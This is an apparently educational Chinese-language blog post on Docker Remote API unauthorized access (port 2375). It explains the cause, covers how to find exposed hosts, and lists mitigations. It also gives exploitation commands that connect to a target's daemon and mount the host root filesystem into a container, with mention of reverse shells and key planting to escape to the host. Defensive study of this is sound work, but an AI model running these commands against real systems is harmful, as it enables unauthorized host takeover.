浅析Docker未授权访问

发布于 2021-08-06  65 次阅读


什么是Docker

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器或Windows 机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。

一个完整的Docker有以下几个部分组成:

  1. DockerClient客户端
  2. Docker Daemon守护进程
  3. Docker Image镜像
  4. DockerContainer容器

Docker的常用命令

docker info  #检查docker信息
docker pull [容器名] #拉去预建容器
docker stop [容器ID] #停止容器
docker restart [容器ID] #重启容器
docker rm [容器ID] # 移除容器
docker exec -it [容器ID] /bin/bash #在容器运行时进入容器

Docker未授权漏洞成因

Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker,常见端口2375

Docker未授权识别

  • 扫描端口:一般docker开放在2375端口
  • 使用网络空间搜素引擎进行搜索
  • 默认页面:通过url的方式调用API,返回
    {
    “message”:“page not found"
    }
    代表存在漏洞
  • 有的时候访问可能是空白页面,这时候就需要我们在URL栏中,输入docker的命令进行测试

Docker未授权利用

  • 在已经安装docker的VPS上,使用-H参数连接目标主机的docker,使用images命令查询目标系统存在的镜像docker -H tcp://xxx.xxx.xxx.xxx:2375 images
  • 使用docker命令创建一个容器,并将宿主机的磁盘挂载到容器中,这样就可以间接访问宿主机磁盘docker -H tcp://xxx.xxx.xxx.xxx:2375 run -it -v/:/mnt [容器ID] /bin/bash
  • 通过挂载不同的磁盘,可以执行反弹shell,或者写入公钥等操作,逃逸到宿主机

Docker未授权防护

  • 设置ACL,只允许信任ip连接对应端口
  • 开启TLS,使用生成的证书进行认证
  • 设置白名单,不允许未知的公网IP访问